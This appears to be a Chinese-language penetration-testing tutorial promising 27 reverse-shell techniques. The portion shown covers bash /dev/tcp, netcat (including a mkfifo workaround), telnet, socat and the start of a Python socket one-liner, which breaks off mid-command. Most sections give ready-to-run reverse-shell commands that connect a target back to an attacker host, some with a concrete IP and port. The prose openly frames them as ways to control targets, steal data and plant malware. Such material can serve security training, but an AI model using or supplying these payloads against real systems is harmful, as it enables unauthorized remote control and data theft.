渗透测试中反弹shell的27种实战方法全解析
一、反弹 shell:渗透测试的关键技术
在渗透测试的实战领域,反弹 shell 技术无疑是一把极具威力的 “双刃剑”。它作为攻击者突破目标网络防线、深入掌控目标系统的关键手段,其重要性不言而喻。
当目标系统处于重重防护之下,传统的连接方式往往因防火墙的严格限制、端口的异常占用,或因目标系统隐匿于复杂的局域网、动态变化的 IP 环境中,而使攻击者望 “网” 兴叹。此时,反弹 shell 技术脱颖而出,通过巧妙地让目标系统主动出击,反向建立与攻击者控制端的连接,宛如在森严壁垒间开辟出一条隐秘通道,成功绕过诸多阻碍,将目标系统的命令行交互权限拱手奉上。
这一技术的核心在于,攻击者于控制端精心监听特定 TCP 或 UDP 端口,仿若在黑暗中张开一张无形的网,静候猎物上钩。而目标系统一旦执行特定指令,便如同触发机关,瞬间激活与攻击者之间的连接,将原本封闭的命令行输入输出流转至攻击者手中,使其得以远程操纵目标系统,肆意驰骋于目标网络,或窃取机密数据,或植入恶意程序,为后续的渗透行动铺就道路。
二、常见且基础的反弹 shell 方法
(一)Bash 反弹
作为 Linux 系统中最为常用的命令行解释器之一,Bash 以其简洁而强大的特性,为反弹 shell 操作提供了一种直截了当的途径。其核心原理在于巧妙运用 Linux 系统 “一切皆文件” 的设计理念,借助特殊设备文件/dev/tcp/来构建网络连接。
当攻击者在目标系统上执行bash -i >& /dev/tcp/x.x.x.x/port 0>&1这条指令时,bash -i负责启动一个交互式的 Bash shell,为后续的命令交互搭建舞台。紧接着,>& /dev/tcp/x.x.x.x/port发挥关键作用,它如同一条隐秘的数据传输通道,将该 Bash shell 的标准输出(包括命令执行结果、错误信息等)精准重定向至由/dev/tcp/x.x.x.x/port所代表的网络连接端点。其中,x.x.x.x为攻击者机器的 IP 地址,port则是攻击者预先设置并监听的端口号,如此一来,目标系统的输出信息便能穿越网络,直达攻击者手中。而最后的0>&1指令更是精妙绝伦,它实现了标准输入的重定向,使得攻击者在控制端输入的命令能够逆向传输至目标系统的 Bash shell 中,从而完成一次完整的交互式命令行访问。
举例来说,若攻击者的 IP 地址为192.168.1.100,监听端口设定为4444,那么在目标系统执行bash -i >& /dev/tcp/192.168.1.100/4444 0>&1后,攻击者只需在本地使用nc -lvvp 4444开启监听,便能坐等目标系统的 shell 连接主动上门,进而随心所欲地操控目标系统,仿佛置身其中。
(二)Netcat 反弹
Netcat,这款在网络工具领域被誉为 “瑞士军刀” 的神器,以其卓越的网络连接与数据读写能力,成为反弹 shell 操作中的得力助手。它能够在 TCP 或 UDP 协议之上游刃有余地建立连接,轻松实现数据的传输与交互。
在反弹 shell 场景中,其操作流程清晰明了。首先,攻击者在本地主机执行nc -lvvp port,此命令宛如一位忠诚的卫士,开启一个监听指定端口port的服务,静静等待目标系统的连接请求。随后,在目标系统上执行nc -e /bin/bash x.x.x.x port,这里的-e参数扮演着关键角色,它指示 Netcat 在成功连接到攻击者指定的 IP 地址x.x.x.x和端口port后,立即执行/bin/bash,从而将目标系统的 Bash shell 权限拱手相让给攻击者。
然而,现实情况中并非总是一帆风顺,部分目标系统出于安全考量,可能禁用了-e参数,给攻击者制造了障碍。但这难不倒经验丰富的渗透测试人员,他们巧妙地借助命名管道(FIFO)来迂回突破。例如,通过rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc x.x.x.x 9999 >/tmp/f这样的命令组合,先利用mkfifo创建一个命名管道/tmp/f,随后让cat读取管道内容并传递给/bin/bash -i执行,同时将标准错误输出与标准输出合并后,通过nc发送至攻击者指定的x.x.x.x的9999端口,最终又将接收到的数据写回管道,形成一个完整的数据闭环,成功绕过-e参数缺失的限制,实现反弹 shell 的目的。
(三)Telnet 反弹
Telnet 协议,作为网络远程登录服务的先驱,尽管在安全性方面饱受诟病,其传输数据采用明文形式,极易被窃取或篡改,犹如在网络世界中 “裸奔”,但在特定场景下,依然能在反弹 shell 领域发挥余热。
当攻击者试图利用 Telnet 进行反弹 shell 时,需要在攻击主机上精心布局。以打开两个终端分别执行监听为例,在一个终端执行nc -lvvp 4444,负责接收来自目标系统的输入信息;在另一个终端执行nc -lvvp 5555,用于接收目标系统执行命令后的输出反馈。目标系统则需执行telnet x.x.x.x 4444 | /bin/bash | telnet x.x.x.x 5555,这条命令宛如一座桥梁,先尝试连接到攻击者 IP 地址x.x.x.x的4444端口,将输入流导向/bin/bash,使得攻击者输入的命令能够在目标系统中得以执行,随后再将执行结果通过telnet连接至攻击者的5555端口输出,如此一来,攻击者便能在两个监听终端之间,实现与目标系统的交互操作,仿佛直接操控目标系统一般。
不过,鉴于 Telnet 的安全性短板,在实际渗透测试中,使用 Telnet 反弹 shell 往往是在其他更安全、便捷的方法无法施展时的无奈之举,或者是针对一些老旧、疏于维护且仍开启 Telnet 服务的系统的特定攻击手段。
三、进阶的反弹 shell 技巧
(一)Socat 反弹
Socat 作为一款功能强大的网络工具,常被视为 Netcat 的加强版,在反弹 shell 的复杂场景中展现出独特优势。它支持多种协议,涵盖 TCP、UDP、IPV6 等,能灵活应对不同网络环境需求。
在进行反弹 shell 操作时,攻击者首先于主机执行socat TCP-LISTEN:port,fork -开启监听,其中port为指定端口,fork参数确保能同时处理多个连接,实现多任务监听。目标系统则执行socat tcp-connect:x.x.x.x:port exec:‘bash -li’,pty,stderr,setsid,sigint,sane,此命令不仅建立与攻击者的 TCP 连接,还借助exec执行bash -li开启交互式 shell,pty参数创建伪终端,使交互更贴近真实终端环境;stderr将错误输出重定向,便于排查问题;setsid让进程独立于父进程,避免受其影响;sigint确保信号处理得当,sane优化传输数据,综合起来为攻击者提供了一个稳定、功能完备的反弹 shell 通道,可媲美直接操作目标系统终端。
(二)Python 反弹
Python 凭借其丰富强大的网络库与卓越的跨平台特性,在反弹 shell 领域占据一席之地。
如下代码python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“x.x.x.x”,port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);subprocess.call([“/bin/ba